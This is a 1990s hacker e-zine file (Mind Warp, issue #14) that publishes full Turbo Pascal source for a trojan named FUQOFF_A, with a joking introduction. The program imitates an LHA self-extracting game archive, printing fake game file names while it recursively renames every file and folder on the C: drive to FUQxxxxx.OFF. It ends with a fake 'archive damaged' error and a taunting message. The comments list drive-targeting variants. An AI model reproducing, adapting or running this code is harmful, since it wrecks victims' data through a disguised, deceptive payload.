249 lines
8.6 KiB
Plaintext
249 lines
8.6 KiB
Plaintext
|
|
||
|
|
%%% %%% %%%% %%% %% %%%%%
|
||
|
|
%%%% %%%% %% %%%% %% %% %%
|
||
|
|
%% %%% %% %% %% %% %% %% %%
|
||
|
|
%% % %% %% %% %%%% %% %%
|
||
|
|
%% %% %%%% %% %%% %%%%%
|
||
|
|
|
||
|
|
// // //// ////// ////// //
|
||
|
|
\\ \ \\ \\ \\ \\ \\ \\ \\ \\
|
||
|
|
// /// // //////// ////// ////// //
|
||
|
|
\\\\ \\\\ \\ \\ \\ \\ \\
|
||
|
|
/// /// // // // // // //
|
||
|
|
|
||
|
|
[ Mind Warp - Volume #4, Issue #14, File #069 ]
|
||
|
|
[ "huh 69 huh" by >Anonymous< ]
|
||
|
|
------------------------------------------------------------------------------
|
||
|
|
huh 69 huh
|
||
|
|
[Anonymous]
|
||
|
|
------------------------------------------------------------------------------
|
||
|
|
|
||
|
|
Woo! Mind Warp! digizine has reached it's 69th issue. To commemorate
|
||
|
|
this accomplishment, and this cool number, influenza inc. has donated some
|
||
|
|
k-rad turbo pascal source code. What's it do? It phucks your computer!
|
||
|
|
SHould you run it? NO. DO NOT COMPILE THIS! DO NOT RUN THIS! IT IS
|
||
|
|
BAD! Mind Warp! is NOT responsible for this! DO NOT COME RUNNING TO US!
|
||
|
|
|
||
|
|
(*-------------------------- CUT HERE ------------------------------------*)
|
||
|
|
|
||
|
|
(* FUQOFF_A Source Code *)
|
||
|
|
(* Copyright (c) 1994-1995 [infleunza inc] *)
|
||
|
|
(* Distribute all you want as long as NO CHANGES are made to the original *)
|
||
|
|
(* Source Code. *)
|
||
|
|
|
||
|
|
(* This code, once compiled and doctored with NoWhere Man's Virus Utility *)
|
||
|
|
(* package, emulates a 'warez' game that is in compressed form. *)
|
||
|
|
(* Specifically, a .LZH Executable. Once run, it begins renaming ALL *)
|
||
|
|
(* files encountered to the format FUQxxxxx.OFF until it completes the *)
|
||
|
|
(* hard drive, and then the program will spew a little message from the *)
|
||
|
|
(* [infleunza] coders. *)
|
||
|
|
|
||
|
|
(* Currently, this version ONLY infects the C:\ drive. *)
|
||
|
|
(* Mutations include *)
|
||
|
|
(* o FUQOFF_B (Infects D:\ Drive) *)
|
||
|
|
(* o FUQOFF_C (Infects A:\ Drive) *)
|
||
|
|
(* o FUQOFF_D (Infects B:\ Drive) *)
|
||
|
|
(* o NITRO (Infects A,B,C,D, new message string *)
|
||
|
|
(* o BUHFUQ (Infects C:\, new message string *)
|
||
|
|
|
||
|
|
uses crt,dos;
|
||
|
|
|
||
|
|
var wha:searchrec;
|
||
|
|
done:boolean;
|
||
|
|
f:file;
|
||
|
|
cur1,cur2,numba,loop:integer;
|
||
|
|
ext:array[1..5]of char;
|
||
|
|
new:string;
|
||
|
|
s:byte;
|
||
|
|
names:array[1..60]of string;
|
||
|
|
|
||
|
|
|
||
|
|
procedure fillnames;
|
||
|
|
begin
|
||
|
|
names[1]:='LASTRITE.EXE';
|
||
|
|
names[2]:='LASTRITE.DAT';
|
||
|
|
names[3]:='LASTRITE.DOC';
|
||
|
|
names[4]:='README.NOW';
|
||
|
|
names[5]:='CGAPICS1.DAT';
|
||
|
|
names[6]:='EGAPICS1.DAT';
|
||
|
|
names[7]:='VGAPICS1.DAT';
|
||
|
|
names[8]:='MCGAPIC1.DAT';
|
||
|
|
names[9]:='VESAPIC1.DAT';
|
||
|
|
names[10]:='CGAPICS2.DAT';
|
||
|
|
names[11]:='EGAPICS2.DAT';
|
||
|
|
names[12]:='VGAPICS2.DAT';
|
||
|
|
names[13]:='MCGAPIC2.DAT';
|
||
|
|
names[14]:='VESAPIC2.DAT';
|
||
|
|
names[15]:='CGAPIC3.DAT';
|
||
|
|
names[16]:='EGAPIC3.DAT';
|
||
|
|
names[17]:='VGAPIC3.DAT';
|
||
|
|
names[18]:='MCGA3.DAT';
|
||
|
|
names[19]:='VESAPIC3.DAT';
|
||
|
|
names[20]:='SBMUSIC.SND';
|
||
|
|
names[21]:='ADLMUSIC.SND';
|
||
|
|
names[22]:='INTRO.DAT';
|
||
|
|
names[23]:='VICTORY.SCN';
|
||
|
|
names[24]:='DEFEAT.SCN';
|
||
|
|
names[25]:='WAVES.DAT';
|
||
|
|
names[26]:='GAMES.DAT';
|
||
|
|
names[27]:='ORDER.NFO';
|
||
|
|
names[28]:='CONFIG.EXE';
|
||
|
|
names[29]:='SETUP.EXE';
|
||
|
|
names[30]:='3DBATTLE.BAT';
|
||
|
|
names[31]:='CGAPICS4.DAT';
|
||
|
|
names[32]:='EGAPICS4.DAT';
|
||
|
|
names[33]:='VGAPICS4.DAT';
|
||
|
|
names[34]:='MCGAPIC4.DAT';
|
||
|
|
names[35]:='VESAPIC4.DAT';
|
||
|
|
names[36]:='CGAPICS5.DAT';
|
||
|
|
names[37]:='EGAPICS5.DAT';
|
||
|
|
names[38]:='VGAPICS5.DAT';
|
||
|
|
names[39]:='MCGAPIC5.DAT';
|
||
|
|
names[40]:='VESAPIC5.DAT';
|
||
|
|
names[41]:='CGAPIC6.DAT';
|
||
|
|
names[42]:='EGAPIC6.DAT';
|
||
|
|
names[43]:='VGAPIC6.DAT';
|
||
|
|
names[44]:='MCGA6.DAT';
|
||
|
|
names[45]:='VESAPIC7.DAT';
|
||
|
|
names[46]:='CGAPICS8.DAT';
|
||
|
|
names[47]:='EGAPICS8.DAT';
|
||
|
|
names[48]:='VGAPICS8.DAT';
|
||
|
|
names[49]:='MCGAPIC8.DAT';
|
||
|
|
names[50]:='VESAPIC8.DAT';
|
||
|
|
names[51]:='CGAPICS9.DAT';
|
||
|
|
names[52]:='EGAPICS9.DAT';
|
||
|
|
names[53]:='VGAPICS9.DAT';
|
||
|
|
names[54]:='MCGAPIC9.DAT';
|
||
|
|
names[55]:='VESAPIC9.DAT';
|
||
|
|
names[56]:='CGAPIC10.DAT';
|
||
|
|
names[57]:='EGAPIC10.DAT';
|
||
|
|
names[58]:='VGAPIC10.DAT';
|
||
|
|
names[59]:='MCGA10.DAT';
|
||
|
|
names[60]:='VESAPC10.DAT';
|
||
|
|
cur1:=0;
|
||
|
|
cur2:=40;
|
||
|
|
end;
|
||
|
|
|
||
|
|
procedure stealth;
|
||
|
|
begin
|
||
|
|
if cur2=40 then begin
|
||
|
|
writeln;
|
||
|
|
cur1:=cur1+1;
|
||
|
|
if cur1=61 then cur1:=4;
|
||
|
|
write(names[cur1],' ');
|
||
|
|
cur2:=1;
|
||
|
|
end;
|
||
|
|
write('.');
|
||
|
|
cur2:=cur2+1;
|
||
|
|
end;
|
||
|
|
|
||
|
|
procedure makename(special:word);
|
||
|
|
begin
|
||
|
|
stealth;
|
||
|
|
case numba of
|
||
|
|
0..9:begin
|
||
|
|
for loop:=1 to 4 do ext[loop]:='0';
|
||
|
|
str(numba,new);
|
||
|
|
ext[5]:=new[1];
|
||
|
|
end;
|
||
|
|
10..99:begin
|
||
|
|
for loop:=1 to 3 do ext[loop]:='0';
|
||
|
|
str(numba,new);
|
||
|
|
ext[4]:=new[1];
|
||
|
|
ext[5]:=new[2];
|
||
|
|
end;
|
||
|
|
100..999:begin
|
||
|
|
ext[1]:='0';
|
||
|
|
ext[2]:='0';
|
||
|
|
str(numba,new);
|
||
|
|
for loop:=3 to 5 do ext[loop]:=new[loop-2];
|
||
|
|
end;
|
||
|
|
else
|
||
|
|
ext[1]:='0';
|
||
|
|
str(numba,new);
|
||
|
|
for loop:=2 to 5 do ext[loop]:=new[loop-1];
|
||
|
|
end;
|
||
|
|
|
||
|
|
findfirst('*.*',special,wha);
|
||
|
|
if special<>$10 then begin
|
||
|
|
if ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
|
||
|
|
repeat
|
||
|
|
findnext(wha);
|
||
|
|
until ((wha.name[1]<>'F') or (wha.name[2]<>'U') or (wha.name[3]<>'Q')) or (doserror<>0);
|
||
|
|
end else begin
|
||
|
|
|
||
|
|
findfirst('*.*',$10,wha);
|
||
|
|
if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..')
|
||
|
|
or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
|
||
|
|
repeat
|
||
|
|
findnext(wha);
|
||
|
|
until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and
|
||
|
|
(wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
|
||
|
|
or (wha.name[3]<>'Q')));
|
||
|
|
end;
|
||
|
|
if (doserror=0) then begin
|
||
|
|
assign(f,wha.name);
|
||
|
|
if ('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF')<>wha.name then
|
||
|
|
rename(f,'FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF');
|
||
|
|
numba:=numba+1;
|
||
|
|
end;
|
||
|
|
end;
|
||
|
|
|
||
|
|
procedure changeit;
|
||
|
|
begin
|
||
|
|
repeat
|
||
|
|
findfirst('*.*',archive,wha);
|
||
|
|
if (doserror=0) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
|
||
|
|
or (wha.name[3]<>'Q')) then
|
||
|
|
repeat
|
||
|
|
makename($20);
|
||
|
|
until doserror<>0;
|
||
|
|
findfirst('*.*',$10,wha);
|
||
|
|
if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..')
|
||
|
|
or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
|
||
|
|
repeat
|
||
|
|
findnext(wha);
|
||
|
|
until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and
|
||
|
|
(wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
|
||
|
|
or (wha.name[3]<>'Q')));
|
||
|
|
if doserror<>0 then begin
|
||
|
|
getdir(s,new);
|
||
|
|
if new='C:\' then done:=true else chdir('..') {change to C:\}
|
||
|
|
end else
|
||
|
|
if (wha.name<>'.') and (wha.name<>'..') then begin
|
||
|
|
makename($10);
|
||
|
|
chdir('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'.OFF');
|
||
|
|
end;
|
||
|
|
until (doserror<>0) and (done=true);
|
||
|
|
end;
|
||
|
|
|
||
|
|
begin
|
||
|
|
textcolor(white);
|
||
|
|
fillnames;
|
||
|
|
writeln('LHA',chr(39),'S SFX 2.13s (c) Yoshi, 1991');
|
||
|
|
writeln;
|
||
|
|
chdir('c:\');
|
||
|
|
s:=3;
|
||
|
|
numba:=0;
|
||
|
|
changeit;
|
||
|
|
writeln;
|
||
|
|
writeln('Error! Archive Damaged. Error Code 16!');
|
||
|
|
writeln('ERR 16 - ????');
|
||
|
|
writeln; writeln; writeln;
|
||
|
|
writeln('ERR 1 = Bad CRC Check');
|
||
|
|
writeln('ERR 2 = Missing CRC''s');
|
||
|
|
writeln('ERR 3 - 14 = File size misreport! <specified>');
|
||
|
|
writeln('ERR 15 = No files found.');
|
||
|
|
writeln('ERR 16 = iNFeCTiON [infleunza]');
|
||
|
|
writeln; writeln;
|
||
|
|
writeln('Should have taken your flu shot...95 is gonna be a bitch.');
|
||
|
|
writeln('mustaine [infleunza]...KiCKiN'' iT FRoM CoLLEGE');
|
||
|
|
end.
|
||
|
|
|
||
|
|
(*-------------------------- CUT HERE ------------------------------------*)
|
||
|
|
|
||
|
|
==============================================================================
|
||
|
|
Call Omniverse, the Mind Warp WHQ - (301) 718-0225
|
||
|
|
==============================================================================
|
||
|
|
|